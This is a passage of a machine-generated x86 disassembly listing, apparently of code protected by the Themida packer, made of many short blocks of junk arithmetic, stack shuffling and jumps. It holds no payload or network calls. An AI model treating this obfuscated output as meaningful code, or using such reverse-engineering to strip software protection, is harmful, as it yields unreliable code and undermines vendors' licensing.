xchg dl, al
not dl
xchg dl, al
xor al, 1
sub al, 0D8h
sub al, 0C6h
add al, 0D0h
sub bl, al
pop eax
jmp loc_554774
; ---------------------------------------------------------------------------
loc_55C74E: ; CODE XREF: sub_559C84+2DDAj
xor edi, esi
pop esi
jmp loc_557E78
; ---------------------------------------------------------------------------
loc_55C756: ; CODE XREF: sub_559C84+1E25j
mov ebp, 7AB20A94h
jmp loc_55A619
; ---------------------------------------------------------------------------
loc_55C760: ; CODE XREF: sub_55F275+184j
sub dword ptr [esp+4], 4C0A61B2h
add [esp+4], ebx
add dword ptr [esp+4], 4C0A61B2h
pop ebx
mov ebp, [esp+0]
add esp, 4
push ecx
mov ecx, 4
jmp loc_55F0DE
; ---------------------------------------------------------------------------
loc_55C789: ; CODE XREF: sub_55F86E+8j
mov ebp, [esp+0]
add esp, 4
jmp loc_55B83C
; ---------------------------------------------------------------------------
loc_55C794: ; CODE XREF: sub_559C84+259Fj
mov ebp, [esp+2Eh+var_30+2]
add esp, 4
mov edx, ecx
pop ecx
jmp loc_555DA3
; ---------------------------------------------------------------------------
loc_55C7A2: ; CODE XREF: sub_559C84+31F4j
add edi, 15CFC221h
shr edi, 1
jmp loc_55F596
; ---------------------------------------------------------------------------
loc_55C7AF: ; CODE XREF: sub_559C84-135j
not esi
xor esi, 45636D75h
sub esi, 81740E3Eh
add ebp, 40AE73A2h
sub ebp, esi
sub ebp, 40AE73A2h
jmp loc_557DE7
; ---------------------------------------------------------------------------
loc_55C7D0: ; CODE XREF: sub_559C84-395Fj
xor al, dl
pop edx
push ecx
mov ch, 99h
xor ch, 40h
add ch, 0FFh
jmp loc_55D5F6
; ---------------------------------------------------------------------------
loc_55C7E1: ; CODE XREF: sub_559C84+5F9Cj
add esp, 4
sub ebx, ebp
pop ebp
push ecx
mov ecx, 213B1A36h
jmp loc_55592C
; ---------------------------------------------------------------------------
loc_55C7F5: ; CODE XREF: sub_5547B0+24A3j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+40h+var_42+2]
pop esp
jmp loc_55C136
; ---------------------------------------------------------------------------
loc_55C809: ; CODE XREF: sub_559C84-456Fj
mov al, 63h
or al, 6Eh
jmp loc_55B15F
; ---------------------------------------------------------------------------
loc_55C812: ; CODE XREF: sub_559C84+32C5j
add esp, 4
jmp loc_55F3B3
; ---------------------------------------------------------------------------
loc_55C81A: ; CODE XREF: sub_559C84-1365j
sub al, ch
pop ecx
sub al, bl
push ecx
jmp loc_55C50C
; ---------------------------------------------------------------------------
loc_55C825: ; CODE XREF: sub_559C84-21B8j
dec ecx
or ecx, 103338EAh
jmp loc_5549FD
; ---------------------------------------------------------------------------
loc_55C831: ; CODE XREF: sub_559C84-53ADj
mov eax, [esp+4Ch+var_4E+2]
add esp, 4
jmp loc_553DE1
; ---------------------------------------------------------------------------
loc_55C83F: ; CODE XREF: sub_557B4C+Aj
mov ebx, [esp+48h+var_4A+2]
jmp loc_55AD3A
; ---------------------------------------------------------------------------
loc_55C847: ; CODE XREF: sub_559C84-4731j
add edx, 4
push edi
push eax
push 43F12FF1h
jmp loc_55F7FE
; ---------------------------------------------------------------------------
byte_55C859 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055327Co
dd 26C96824h, 3C890000h, 38CB6824h, 77E90000h
db 9Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C86F: ; CODE XREF: sub_559C84+B06j
push ecx
mov ecx, 3F885891h
push 1D0Ch
mov [esp+58h+var_58], eax
mov eax, 6BE6671Dh
jmp loc_5569F5
; ---------------------------------------------------------------------------
loc_55C887: ; CODE XREF: sub_559C84+1707j
add ebx, 0FFFFFFFFh
jmp loc_55CE5D
; ---------------------------------------------------------------------------
loc_55C892: ; CODE XREF: sub_559C84+5C16j
add al, 1Ah
mov dx, word ptr [esp+10h+var_10]
push eax
mov eax, esp
add eax, 4
add eax, 2
xchg eax, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
add bl, 0D5h
add bl, 4
sub bl, al
sub bl, 4
sub esp, 4
jmp loc_554509
; ---------------------------------------------------------------------------
loc_55C8BE: ; CODE XREF: sub_559C84-5311j
sub al, 0C7h
jmp loc_55CC51
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+46h+var_46]
sub esp, 4
mov [esp+4Ah+var_4A], ebp
push esp
jmp loc_55B22F
; ---------------------------------------------------------------------------
loc_55C8D5: ; CODE XREF: sub_559C84-4EB5j
pop esi
xor eax, [esp+4Ah+var_4A]
xor [esp+4Ah+var_4A], eax
xor eax, [esp+4Ah+var_4A]
pop esp
push ebp
mov ebp, 16C7999h
and ebp, 5960748Fh
jmp loc_556C31
; ---------------------------------------------------------------------------
loc_55C8F1: ; CODE XREF: Themida_:0055E47Bj
mov esi, 3B0B511Bh
jmp loc_555BCF
; ---------------------------------------------------------------------------
loc_55C8FB: ; CODE XREF: sub_559C84-6589j
mov edx, ecx
mov ecx, [esp+16h+var_18+2]
add esp, 4
jmp loc_55FA1D
; ---------------------------------------------------------------------------
loc_55C90B: ; CODE XREF: Themida_:005562E1j
sub ebx, 276620A8h
shr ebx, 6
not ebx
xor ebx, 0FEF0E77Bh
add ecx, ebx
pop ebx
add ecx, 2
push 6B7Dh
mov [esp+12h+var_14+2], ecx
push [esp+12h+var_10+2]
pop ecx
jmp loc_5596BF
; ---------------------------------------------------------------------------
loc_55C934: ; CODE XREF: sub_559C84+34ECj
pop [esp+12h+var_14+2]
jmp loc_55F326
; ---------------------------------------------------------------------------
loc_55C93C: ; CODE XREF: sub_559C84+3CB6j
push edi
mov edi, 3F280832h
mov ebp, edi
jmp loc_5594A7
; ---------------------------------------------------------------------------
loc_55C949: ; CODE XREF: sub_55E34A+6j
shl ebx, 3
xor ebx, 563F1119h
jmp loc_558DA6
; ---------------------------------------------------------------------------
loc_55C957: ; CODE XREF: sub_559C84+3B7Bj
pop ax
xor dh, 0A9h
jmp loc_55409C
; ---------------------------------------------------------------------------
loc_55C961: ; CODE XREF: sub_559C84+3659j
pop eax
jmp loc_55EE06
; ---------------------------------------------------------------------------
loc_55C967: ; CODE XREF: sub_559C84+56CDj
sub edi, 4CBE0813h
add edi, edx
add edi, 4CBE0813h
add edi, 30441D05h
push [esp+0Ch+var_C]
jmp loc_55AF4C
; ---------------------------------------------------------------------------
loc_55C983: ; CODE XREF: sub_559C84-673Aj
sub al, 0BFh
push edx
jmp loc_55853A
; ---------------------------------------------------------------------------
loc_55C98B: ; CODE XREF: sub_559C84-169Bj
test ecx, eax
pushf
jmp loc_55E136
; ---------------------------------------------------------------------------
loc_55C993: ; CODE XREF: sub_559C84+1D18j
push ecx
mov ecx, esp
push ebx
mov ebx, 0E48124Dh
inc ebx
inc ebx
xchg edi, ebx
not edi
xchg edi, ebx
xor ebx, 0F1B7EDB4h
jmp loc_5540F7
; ---------------------------------------------------------------------------
loc_55C9AF: ; CODE XREF: sub_559C84-3DC8j
add ebx, 441A1E87h
push edx
push 4C222831h
pop edx
sub esp, 4
mov [esp+52h+var_52], ecx
push 66F13949h
pop ecx
neg ecx
xor ecx, 509B66ADh
jmp loc_5581D5
; ---------------------------------------------------------------------------
loc_55C9D5: ; CODE XREF: sub_559C84-1CFEj
or eax, eax
jz sub_557ED1
push dword ptr [edi+1Ch]
push 15BFh
mov [esp+40h+var_42+2], esi
jmp loc_55A67A
; ---------------------------------------------------------------------------
loc_55C9ED: ; CODE XREF: Themida_:0055E4A3j
pop ebp
push esi
mov esi, esp
push eax
mov eax, 7CCE1CD7h
jmp loc_55F779
; ---------------------------------------------------------------------------
loc_55C9FC: ; CODE XREF: sub_559C84+2483j
push 104C57A3h
jmp loc_55A133
; ---------------------------------------------------------------------------
loc_55CA06: ; CODE XREF: sub_559C84-5BDAj
push ebx
jmp loc_55640E
; ---------------------------------------------------------------------------
loc_55CA0C: ; CODE XREF: sub_559C84+5EEAj
mov esp, [esp+6+var_8+2]
jmp loc_55DD70
; ---------------------------------------------------------------------------
loc_55CA14: ; CODE XREF: sub_559C84-1C24j
inc edi
inc edi
sub edi, 6F23C0Bh
mov ebp, edi
pop edi
shl ebp, 2
dec ebp
sub ebp, 4C3D34D6h
sub ebp, 4B3FAE29h
add eax, ebp
pop ebp
push ebp
push ecx
push ebx
jmp loc_556DA7
; ---------------------------------------------------------------------------
loc_55CA3A: ; CODE XREF: sub_559C84-5EF8j
push edi
mov edi, 2C7D66AEh
inc edi
shl edi, 1
and edi, 1E6D6BBBh
add edi, 309929B2h
inc edi
push esi
mov esi, 632E0367h
not esi
add esi, 0AC2F7631h
jmp loc_55C74E
; ---------------------------------------------------------------------------
loc_55CA63: ; CODE XREF: sub_55DBF3-61B2j
pop esp
mov esi, [esp+1Ch+var_1C]
push esi
mov esi, esp
add esi, 4
push eax
jmp loc_556598
; ---------------------------------------------------------------------------
loc_55CA76: ; DATA XREF: Themida_:0055328Co
mov cx, word ptr [esp+24h+var_24]
jmp sub_555BE3
; ---------------------------------------------------------------------------
push 53947h
mov eax, [esp+28h+var_28]
push esi
jmp loc_55E22B
; ---------------------------------------------------------------------------
loc_55CA8D: ; CODE XREF: sub_559C84+50BDj
add esi, ebx
jmp loc_556546
; ---------------------------------------------------------------------------
push [esp+2Ch+var_2C]
jmp loc_556EAA
; ---------------------------------------------------------------------------
loc_55CA9C: ; CODE XREF: sub_559C84+2EA2j
add esp, 4
sub ebp, 4D190B50h
and eax, ebp
mov ebp, [esp+2Ch+var_2C]
jmp loc_55A943
; ---------------------------------------------------------------------------
loc_55CAAF: ; CODE XREF: sub_559C84-2294j
pop esp
push ebp
push 31272EC0h
mov ebp, [esp+32h+var_34+2]
jmp loc_55B0AA
; ---------------------------------------------------------------------------
loc_55CABE: ; CODE XREF: sub_559C84+44D0j
xor edx, 772630E0h
mov ecx, edx
pop edx
push eax
mov eax, 30A78F19h
sub ecx, eax
pop eax
xor eax, ecx
pop ecx
push 53D7h
mov [esp+2Eh+var_30+2], edi
mov edi, 4D3D587Dh
sub esp, 4
mov [esp+32h+var_34+2], esi
mov esi, 0BB447E4h
or edi, esi
jmp loc_553763
; ---------------------------------------------------------------------------
loc_55CAF5: ; CODE XREF: sub_559C84-4E29j
shr edi, 1
jmp loc_55F146
; ---------------------------------------------------------------------------
loc_55CAFC: ; CODE XREF: sub_559C84-2909j
add esi, ebp
jmp loc_55E1E1
; ---------------------------------------------------------------------------
loc_55CB03: ; CODE XREF: sub_559C84+3049j
pop esp
jmp loc_556A56
; ---------------------------------------------------------------------------
loc_55CB09: ; CODE XREF: sub_559C84-2069j
sub edi, 5E33F93Fh
mov ebp, edi
pop edi
push edx
mov edx, 8C61B15h
mov ecx, 0F794038Eh
jmp loc_5571C2
; ---------------------------------------------------------------------------
loc_55CB22: ; CODE XREF: sub_559C84-4582j
push [esp+48h+var_4A+2]
pop eax
jmp loc_55CA9C
; ---------------------------------------------------------------------------
loc_55CB2B: ; CODE XREF: sub_559C84-2A3Cj
dec bh
sub bh, 0DBh
add al, bh
pop ebx
mov ebx, [esp+4Ah+var_4A]
jmp loc_55982F
; ---------------------------------------------------------------------------
loc_55CB3B: ; CODE XREF: sub_55991D-2852j
pop ebp
mov edx, [esp+46h+var_46]
jmp loc_55A4EE
; ---------------------------------------------------------------------------
loc_55CB44: ; CODE XREF: sub_559C84-4E5Cj
add ecx, edx
pop edx
push ebp
mov ebp, 2
add ecx, ebp
pop ebp
push ecx
jmp loc_558F32
; ---------------------------------------------------------------------------
loc_55CB56: ; CODE XREF: sub_559C84+14Bj
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55CB5B: ; CODE XREF: sub_559C84+479Cj
push ebp
mov ebp, 51321FAFh
xor eax, ebp
pop ebp
push ebp
push ebx
jmp loc_55D0B2
; ---------------------------------------------------------------------------
loc_55CB6B: ; CODE XREF: sub_559C84+3815j
shr ecx, 0Bh
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+5Eh+var_60+2]
pop esp
mov [esp+5Ah+var_5C+2], ebx
jmp loc_5551BC
; ---------------------------------------------------------------------------
loc_55CB86: ; CODE XREF: sub_559C84+33EFj
add esi, ebp
sub esi, 443A085Eh
pop ebp
jmp sub_554D6A
; ---------------------------------------------------------------------------
loc_55CB94: ; CODE XREF: sub_559C84-1612j
mov [esp+2Ch+var_2C], ebp
mov ebp, 2D6924F1h
xor ebp, 674A30CCh
push ebx
mov ebx, 619B2366h
jmp loc_55AC6A
; ---------------------------------------------------------------------------
loc_55CBAD: ; CODE XREF: sub_559C84+35E6j
dec esi
shr esi, 3
sub esi, 0B7E78689h
add eax, 7D885FE1h
push esi
mov esi, 636903BBh
add eax, esi
pop esi
push ebx
mov ebx, 41E220EFh
sub eax, ebx
pop ebx
add eax, esi
add eax, 41E220EFh
sub eax, 636903BBh
sub eax, 7D885FE1h
push [esp+30h+var_30]
pop esi
add esp, 4
push 7F13h
mov [esp+30h+var_30], ecx
push 4D5h
mov [esp+34h+var_34], edi
push 7CA2C4Ch
push [esp+38h+var_3A+2]
pop edi
add esp, 4
jmp sub_5577DF
; ---------------------------------------------------------------------------
loc_55CC0A: ; CODE XREF: sub_559C84-482Ej
xor [esp+40h+var_42+2], edx
xor edx, [esp+40h+var_42+2]
mov esp, [esp+40h+var_42+2]
or word ptr [esp+40h+var_42+2], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55CC1D: ; CODE XREF: sub_559C84-5E69j
add edx, 4
push 1234h
mov [esp+4+var_4], edx
jmp loc_555544
; ---------------------------------------------------------------------------
loc_55CC30: ; CODE XREF: sub_556D03+1Dj
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
jmp loc_5595DF
; ---------------------------------------------------------------------------
loc_55CC3B: ; CODE XREF: sub_559C84+5034j
shr ecx, 2
sub ecx, 3EFEEFEBh
sub ebx, 7450121h
add ebx, ecx
jmp loc_553876
; ---------------------------------------------------------------------------
loc_55CC51: ; CODE XREF: sub_559C84+2C3Cj
add al, 0F5h
jmp loc_55A02C
; ---------------------------------------------------------------------------
loc_55CC58: ; CODE XREF: Themida_:00559089j
mov esp, [esp+46h+var_46]
add edx, 4
push ecx
push ebp
push 16BE1ABBh
pop ebp
mov ecx, 4CB56EE1h
xor ecx, ebp
pop ebp
or ecx, 48DB46B5h
dec ecx
push esi
mov esi, 138012AEh
add ecx, esi
pop esi
sub ecx, 6E5B89AAh
add edx, ecx
pop ecx
xchg edx, [esp+46h+var_46]
jmp loc_55E547
; ---------------------------------------------------------------------------
loc_55CC92: ; CODE XREF: sub_559C84-6165j
and eax, ebx
push [esp+3Ah+var_3A]
pop ebx
add esp, 4
or eax, eax
jz sub_556D58
push 119Fh
mov [esp+3Ah+var_3A], ebx
mov ebx, 2A1816F1h
add ebx, 1E9105Dh
add ebx, 2157540h
push eax
mov eax, 53A5618Ch
jmp loc_55AB40
; ---------------------------------------------------------------------------
loc_55CCC7: ; CODE XREF: sub_559C84+3392j
xor [esp+3Eh+var_3E], edx
xor edx, [esp+3Eh+var_3E]
jmp loc_55CB03
; ---------------------------------------------------------------------------
loc_55CCD2: ; CODE XREF: sub_559C84-3560j
mov ebp, 4
add edx, ebp
pop ebp
sub edx, 4
push edx
push [esp+54h+var_52+2]
jmp loc_555C3B
; ---------------------------------------------------------------------------
loc_55CCEA: ; CODE XREF: sub_559C84+59DFj
sub edi, 261980FDh
jmp loc_559190
; ---------------------------------------------------------------------------
loc_55CCF5: ; CODE XREF: sub_559C84-1578j
mov edi, esp
add edi, 4
jmp loc_554183
; ---------------------------------------------------------------------------
loc_55CD02: ; CODE XREF: sub_559C84-4C31j
add [esp+4Ah+var_4A], 4
push [esp+4Ah+var_4A]
pop ecx
push esi
mov esi, esp
jmp loc_554B7C
; ---------------------------------------------------------------------------
loc_55CD12: ; CODE XREF: sub_556B78+10j
mov esi, 4
add edx, esi
jmp loc_5572E6
; ---------------------------------------------------------------------------
loc_55CD1E: ; CODE XREF: sub_555570+Ej
shr ebx, 6
add ebx, 7DAA0537h
sub edx, ebx
pop ebx
jmp loc_5544FB
; ---------------------------------------------------------------------------
loc_55CD2F: ; CODE XREF: sub_559C84-27AEj
or dl, 25h
push 44Bh
mov [esp+1Ch+var_1C], eax
jmp loc_55B62F
; ---------------------------------------------------------------------------
loc_55CD3F: ; CODE XREF: sub_557F5F+10j
mov dh, al
pop eax
jmp loc_5563C1
; ---------------------------------------------------------------------------
loc_55CD47: ; CODE XREF: sub_559C84-29B4j
mov dl, 19h
neg dl
sub dl, 0DEh
sub bl, 88h
sub bl, dl
jmp loc_5538EF
; ---------------------------------------------------------------------------
loc_55CD58: ; CODE XREF: sub_559C84-15ACj
mov [esp+34h+var_34], edx
push ecx
mov ecx, 3B300CFBh
dec ecx
neg ecx
add ecx, 3B300CFEh
mov edx, ecx
jmp loc_5549EC
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+38h+var_3A+2]
sub esp, 4
mov [esp+3Ch+var_3E+2], ebp
push esp
pop ebp
push 2220h
mov [esp+40h+var_42+2], edx
mov edx, 11FA5A8Bh
or edx, 34B800A6h
jmp loc_553E6C
; ---------------------------------------------------------------------------
loc_55CD95: ; CODE XREF: sub_559C84-3658j
pop esp
jmp loc_55F370
; ---------------------------------------------------------------------------
loc_55CD9B: ; CODE XREF: sub_559C84+1BB3j
pop eax
sub cl, dh
sub cl, 0BEh
mov edx, [esp+5Ah+var_5C+2]
add esp, 4
jmp loc_55A53C
; ---------------------------------------------------------------------------
loc_55CDAC: ; CODE XREF: Themida_:00558100j
mov [esp+56h+var_58+2], esi
jmp loc_5588EE
; ---------------------------------------------------------------------------
loc_55CDB4: ; CODE XREF: sub_559C84-5B7Aj
mov [esp+4+var_4], ebx
jmp loc_555758
; ---------------------------------------------------------------------------
loc_55CDBC: ; CODE XREF: sub_557739-365Bj
add edx, 4
push ebx
mov ebx, 97429B9h
xor ebx, 56EC34A3h
push ecx
mov ecx, 65DC588Eh
and ecx, 268774ABh
sub ecx, 6AAE4018h
add ecx, 2DFB2572h
xor ecx, 245C0BDCh
add ecx, 9F1B006Eh
or ebx, ecx
pop ecx
xor ebx, 390C0B5Eh
add ebx, 0B94BCB24h
jmp loc_559638
; ---------------------------------------------------------------------------
loc_55CE06: ; CODE XREF: sub_559C84-5D88j
and eax, ebx
push dword ptr [esp+0]
pop ebx
add esp, 4
or edx, eax
shl edx, 1
push eax
jmp loc_556224
; ---------------------------------------------------------------------------
loc_55CE1C: ; CODE XREF: sub_558BB5+1085j
add edi, 4
push edx
jmp sub_554572
; ---------------------------------------------------------------------------
loc_55CE28: ; CODE XREF: sub_559C84+4FF9j
mov edx, 30B81922h
mov esi, 30B81926h
xor esi, edx
jmp loc_5549AF
; ---------------------------------------------------------------------------
loc_55CE39: ; CODE XREF: sub_559C84-371Fj
xchg edi, [esp+48h+var_4A+2]
mov esp, [esp+48h+var_4A+2]
or eax, eax
jnz loc_556108
push 55AAh
mov [esp+4Ch+var_4E+2], eax
push edi
jmp loc_5575E6
; ---------------------------------------------------------------------------
loc_55CE55: ; CODE XREF: sub_559C84+29BBj
mov edx, esi
pop esi
jmp loc_55EFA2
; ---------------------------------------------------------------------------
loc_55CE5D: ; CODE XREF: sub_559C84+2C09j
sub ebx, 2DD66440h
push eax
jmp loc_5575AC
; ---------------------------------------------------------------------------
loc_55CE69: ; CODE XREF: sub_559C84-102Aj
or edi, 53EB1ABCh
and edi, 18B7102Dh
shr edi, 7
jmp loc_55C7A2
; ---------------------------------------------------------------------------
loc_55CE7D: ; CODE XREF: sub_559C84-5CD6j
mov dl, 2Ch
add bl, dl
pop edx
add bl, ch
jmp loc_556DB2
; ---------------------------------------------------------------------------
loc_55CE89: ; CODE XREF: Themida_:00556E24j
xchg al, bh
not al
xchg al, bh
mov dl, bh
pop ebx
push ax
mov al, 0A3h
and dl, al
pop ax
add dl, 0A9h
add al, 86h
add al, dl
sub al, 86h
pop edx
jmp loc_559FFB
; ---------------------------------------------------------------------------
loc_55CEA9: ; CODE XREF: sub_559C84-594Dj
xor [esp-14h+arg_10], ecx
xor ecx, [esp-14h+arg_10]
pop esp
cmp ecx, eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55CEB8: ; CODE XREF: sub_559C84+54E2j
xor ebp, 27AB9BAEh
jmp loc_5584E5
; ---------------------------------------------------------------------------
loc_55CEC3: ; CODE XREF: sub_559C84-FFDj
add esp, 2
push esi
push small 5CA9h
mov word ptr [esp+2Eh+var_30+2], bp
mov bp, 2BEBh
mov si, bp
jmp loc_554E6D
; ---------------------------------------------------------------------------
loc_55CEDE: ; CODE XREF: sub_559C84-1C9Cj
push esi
mov esi, 4E266850h
sub esi, 4E26684Ch
jmp loc_55EC36
; ---------------------------------------------------------------------------
loc_55CEEF: ; CODE XREF: sub_559C84-6030j
pop edi
jmp loc_55AF82
; ---------------------------------------------------------------------------
loc_55CEF5: ; CODE XREF: Themida_:005578E8j
push ebp
jmp loc_55C228
; ---------------------------------------------------------------------------
loc_55CEFB: ; CODE XREF: sub_559C84-1463j
xor ebx, 0D8898FFAh
add edi, 440A6EBAh
jmp loc_55E334
; ---------------------------------------------------------------------------
loc_55CF0C: ; CODE XREF: sub_559C84-375Cj
pop esp
push 353Fh
mov [esp+50h+var_52+2], edx
push 7B580E63h
jmp loc_55D93F
; ---------------------------------------------------------------------------
loc_55CF1F: ; CODE XREF: sub_559C84+5440j
xchg esi, [esp+0]
pop esp
push 3DABh
mov [esp+0], eax
mov eax, 4
jmp loc_55E924
; ---------------------------------------------------------------------------
loc_55CF35: ; CODE XREF: sub_559C84-588j
push ecx
push edx
jmp loc_557083
; ---------------------------------------------------------------------------
loc_55CF3C: ; CODE XREF: sub_559C84-71Ej
and eax, ebp
pop ebp
or edx, eax
jmp loc_555ABF
; ---------------------------------------------------------------------------
loc_55CF46: ; CODE XREF: sub_559C84+3410j
mov eax, [esp+5Ch+var_5C]
jmp loc_55C812
; ---------------------------------------------------------------------------
loc_55CF4E: ; CODE XREF: sub_559C84+3BA3j
mov bl, ch
jmp loc_55EF44
; ---------------------------------------------------------------------------
loc_55CF55: ; CODE XREF: sub_559C84-194Fj
sub ebp, 443E5EBh
jmp loc_559446
; ---------------------------------------------------------------------------
loc_55CF60: ; CODE XREF: sub_559C84+3C12j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55CF65: ; CODE XREF: sub_559C84+542Cj
mov edx, 9750FFBh
mov ebp, 2542F575h
add ebp, edx
pop edx
add ebp, 3AC100D9h
dec ebp
shr ebp, 6
xchg esi, ebp
add esi, 0FFFFFFFFh
push ebp
push 3C22h
mov [esp+2Ah+var_2C+2], esi
mov ebp, [esp+2Ah+var_2C+2]
jmp loc_559CA4
; ---------------------------------------------------------------------------
loc_55CF92: ; CODE XREF: sub_559C84-147Dj
sub al, 51h
jmp loc_558991
; ---------------------------------------------------------------------------
loc_55CF99: ; CODE XREF: sub_559C84+3FECj
sub bl, 0A7h
jmp loc_554C3A
; ---------------------------------------------------------------------------
loc_55CFA1: ; CODE XREF: sub_559C84+FBBj
xor ebp, [esp-0Ch+arg_8]
jmp loc_55A6E3
; ---------------------------------------------------------------------------
loc_55CFA9: ; CODE XREF: sub_559C84+5225j
xor eax, ecx
push esi
mov esi, esp
add esi, 4
push eax
mov eax, 4
sub esi, eax
jmp loc_558711
; ---------------------------------------------------------------------------
loc_55CFC1: ; CODE XREF: sub_559C84-22EBj
push 351D237Eh
jmp loc_5551A5
; ---------------------------------------------------------------------------
loc_55CFCB: ; CODE XREF: sub_553E48+Ej
pop ebx
push edx
jmp loc_553C1E
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+3Ah+var_3A]
sub esp, 4
mov [esp+3Eh+var_3E], edx
push 4022h
push esp
pop [esp+46h+var_46]
add [esp+42h+var_42], 4
pop edx
add edx, 4
push ebp
mov ebp, 2
add edx, ebp
mov ebp, [esp+42h+var_42]
push eax
mov eax, esp
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xchg eax, [esp+46h+var_46]
pop esp
xor edx, [esp+42h+var_42]
jmp loc_55CCC7
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push small 43CDh
mov word ptr [esp+44h+var_46+2], ax
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55D02C: ; CODE XREF: sub_559C84-2D93j
mov edx, 4
add ecx, edx
pop edx
add ecx, 2
xchg ecx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
jmp loc_558522
; ---------------------------------------------------------------------------
loc_55D045: ; CODE XREF: sub_559C84+70Bj
and eax, ecx
jmp loc_55BF8C
; ---------------------------------------------------------------------------
loc_55D04C: ; CODE XREF: sub_559C84+222Bj
mov esi, esp
jmp loc_5579DE
; ---------------------------------------------------------------------------
loc_55D053: ; CODE XREF: sub_559C84-FA4j
xchg ebx, [esp+30h+var_30]
pop esp
mov [esp+2Ch+var_2C], eax
mov eax, 4
add esi, eax
pop eax
sub esp, 4
mov [esp+2Ch+var_2C], ebp
mov ebp, 4
add esi, 443A085Eh
jmp loc_55CB86
; ---------------------------------------------------------------------------
loc_55D078: ; CODE XREF: sub_559C84-1863j
add esp, 2
push eax
mov ah, 0AEh
xor ah, 57h
or ah, 0DDh
shr ah, 2
sub ah, 0FFh
jmp loc_557BAC
; ---------------------------------------------------------------------------
loc_55D08F: ; CODE XREF: sub_559C84+A76j
add esp, 4
push eax
push esp
jmp loc_55CF46
; ---------------------------------------------------------------------------
loc_55D099: ; CODE XREF: sub_559C84-17AFj
xor ebp, 3F2A4AC7h
push 7D2Bh
mov [esp+5Ch+var_5C], ebx
sub esp, 4
mov [esp+60h+var_60], ecx
jmp loc_559668
; ---------------------------------------------------------------------------
loc_55D0B2: ; CODE XREF: sub_559C84+2EE2j
push esi
mov esi, 559101C6h
mov ebx, esi
pop esi
add ebx, 48263527h
dec ebx
xor ebx, 585D27FFh
or ebx, 369F10E4h
or ebx, 75280CE2h
add ebx, 0D61F6FBh
mov ebp, ebx
pop ebx
sub eax, ebp
jmp loc_553B1B
; ---------------------------------------------------------------------------
loc_55D0E4: ; CODE XREF: sub_559C84+40FCj
add bl, 0ECh
mov ch, bl
pop ebx
jmp loc_559F7E
; ---------------------------------------------------------------------------
loc_55D0EF: ; CODE XREF: sub_559C84+70j
xchg ebx, [esp+32h+var_34+2]
jmp loc_555D8B
; ---------------------------------------------------------------------------
loc_55D0F7: ; CODE XREF: sub_559C84+5F21j
add edx, 64877F04h
jmp loc_55B69B
; ---------------------------------------------------------------------------
loc_55D102: ; CODE XREF: sub_559C84-3058j
pop esi
pop ebp
push edx
push ebx
mov ebx, 59D16E9Fh
sub ebx, 7EE03ABFh
shr ebx, 8
jmp loc_5571BA
; ---------------------------------------------------------------------------
loc_55D119: ; CODE XREF: sub_559C84+586Fj
sub edi, 28E67473h
push 5ECEh
mov [esp+4Eh+var_4E], edi
jmp loc_555513
; ---------------------------------------------------------------------------
loc_55D12C: ; CODE XREF: Themida_:0055F700j
pop edx
sub edx, 0D903594h
pop eax
jmp loc_557FBE
; ---------------------------------------------------------------------------
loc_55D139: ; CODE XREF: sub_559C84+1386j
pop esp
ror byte ptr [esp+46h+var_46], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
push [esp+4Ah+var_4A]
mov eax, [esp+4Eh+var_4E]
push 7530h
mov [esp+52h+var_52], esi
mov esi, esp
add esi, 4
jmp loc_55AF06
; ---------------------------------------------------------------------------
loc_55D15E: ; CODE XREF: sub_559C84+1992j
add esp, 4
add ebp, 4
push ebp
push [esp+42h+var_3E]
pop ebp
jmp loc_55C934
; ---------------------------------------------------------------------------
loc_55D175: ; CODE XREF: sub_559C84+4D8Fj
add eax, 4
xor eax, [esp+42h+var_42]
xor [esp+42h+var_42], eax
jmp loc_559735
; ---------------------------------------------------------------------------
loc_55D185: ; CODE XREF: sub_559C84-3F5Cj
add ebx, ecx
pop ecx
mov eax, ebx
mov ebx, [esp+4Eh+var_4E]
add esp, 4
add edi, eax
pop eax
add edi, 4
xor edi, [esp+46h+var_46]
xor [esp+46h+var_46], edi
jmp loc_554B0C
; ---------------------------------------------------------------------------
loc_55D1A7: ; CODE XREF: sub_559C84-3C6Bj
mov ebx, [esp+46h+var_46]
add esp, 4
loc_55D1AD: ; CODE XREF: sub_559C84-2830j
push ebx
jmp loc_554A95
; ---------------------------------------------------------------------------
loc_55D1B3: ; CODE XREF: Themida_:0055770Cj
mov [esp+46h+var_46], ebx
mov ebx, 145D4E27h
shr ebx, 3
and ebx, 72525591h
add ebx, 1
inc ebx
sub ebx, 30B2684h
add ebx, 0D314643h
sub eax, ebx
pop ebx
add eax, 3366417Ch
add eax, ebx
sub eax, 3366417Ch
jmp loc_55AF8E
; ---------------------------------------------------------------------------
loc_55D1E8: ; CODE XREF: sub_559C84+1F31j
mov cx, 3BC9h
push eax
mov ax, 7030h
add ax, 6F29h
inc ax
sub ax, 0C004h
or cx, ax
pop eax
jmp loc_55DF20
; ---------------------------------------------------------------------------
loc_55D204: ; CODE XREF: sub_559C84-3A75j
add esp, 4
pop [esp-14h+arg_10]
pop esp
xor ebx, eax
xor edx, eax
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55D217: ; CODE XREF: sub_559C84+3FB1j
or ebp, 6ADE5EB4h
sub ebp, 50F457EFh
xor ebp, 674C315Ah
shr ebp, 3
add ebp, 0F9232A57h
sub edx, ebp
pop ebp
or edx, 2161069Ch
and edx, 1C153FB4h
xor edx, 68A97306h
push edx
add [esp-1Ch+arg_18], 0FA91779h
pop esi
sub esi, 0FA91779h
mov edx, [esp-20h+arg_1C]
add esp, 4
xor esi, 36E427E7h
neg esi
shl esi, 4
jmp loc_55CBAD
; ---------------------------------------------------------------------------
